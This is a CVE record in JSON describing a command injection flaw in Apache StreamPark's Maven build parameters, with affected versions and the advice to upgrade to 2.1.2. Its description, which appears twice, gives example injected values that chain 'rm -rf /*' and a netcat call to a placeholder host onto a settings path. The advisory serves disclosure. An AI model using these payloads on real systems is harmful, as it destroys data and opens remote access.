{"id":"CVE-2023-49898","state":"PUBLISHED","title":"Apache StreamPark (incubating): Authenticated system users could trigger remote command execution","description":"In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.\n\nMitigation:\n\nall users should upgrade to 2.1.2\n\nExample:\n\n##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use \"||\" or \"&&\":\n\n/usr/share/java/maven-3/conf/settings.xml || rm -rf /*\n\n/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &\n\n","publishedAt":"2023-12-15T12:13:25.086Z","updatedAt":"2024-08-02T22:09:49.388Z","severity":null,"assigner":"apache","products":["Apache Software Foundation Apache StreamPark (incubating)"],"affected":[{"vendor":"Apache Software Foundation","product":"Apache StreamPark (incubating)","defaultStatus":"unaffected","versions":[{"version":"2.0.0","status":"affected","lessThan":"2.1.2","versionType":"custom"}]}],"references":["https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3"],"weaknesses":["CWE-77"],"ingestedAt":"2026-10-29T20:06:24.729Z","source":{"repository":"CVEProject/cvelistV5","path":"cves/2023/49xxx/CVE-2023-49898.json","commit":"556c9d3a8cd17e218bb8e452ba7cd619a384ff47"},"raw":{"dataType":"CVE_RECORD","dataVersion":"5.1","cveMetadata":{"cveId":"CVE-2023-49898","state":"PUBLISHED","datePublished":"2023-12-15T12:13:25.086Z","dateUpdated":"2024-08-02T22:09:49.388Z","assignerShortName":"apache","assignerOrgId":"f0158376-9dc2-43b6-827c-5f631a4d8d09","dateReserved":"2023-12-01T03:12:29.421Z"},"containers":{"cna":{"title":"Apache StreamPark (incubating): Authenticated system users could trigger remote command execution","descriptions":[{"lang":"en","value":"In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.\n\nMitigation:\n\nall users should upgrade to 2.1.2\n\nExample:\n\n##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use \"||\" or \"&&\":\n\n/usr/share/java/maven-3/conf/settings.xml || rm -rf /*\n\n/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &\n\n"}],"affected":[{"vendor":"Apache Software Foundation","product":"Apache StreamPark (incubating)","defaultStatus":"unaffected","versions":[{"version":"2.0.0","status":"affected","lessThan":"2.1.2","versionType":"custom"}]}],"references":[{"url":"https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3","tags":["vendor-advisory"]}],"metrics":[{"other":{"content":{"text":"low"},"type":"Textual description of severity"}}],"problemTypes":[{"descriptions":[{"cweId":"CWE-77","description":"CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')","lang":"en","type":"CWE"}]}],"providerMetadata":{"shortName":"apache","orgId":"f0158376-9dc2-43b6-827c-5f631a4d8d09","dateUpdated":"2023-12-15T12:13:25.086Z"},"source":{"discovery":"UNKNOWN"},"x_generator":{"engine":"Vulnogram 0.1.0-dev"}},"adp":[{"title":"CVE Program Container","references":[{"url":"https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3","tags":["vendor-advisory","x_transferred"]}],"providerMetadata":{"shortName":"CVE","orgId":"af854a3a-2127-422b-91ae-364da2661108","dateUpdated":"2024-08-02T22:09:49.388Z"}}]}}}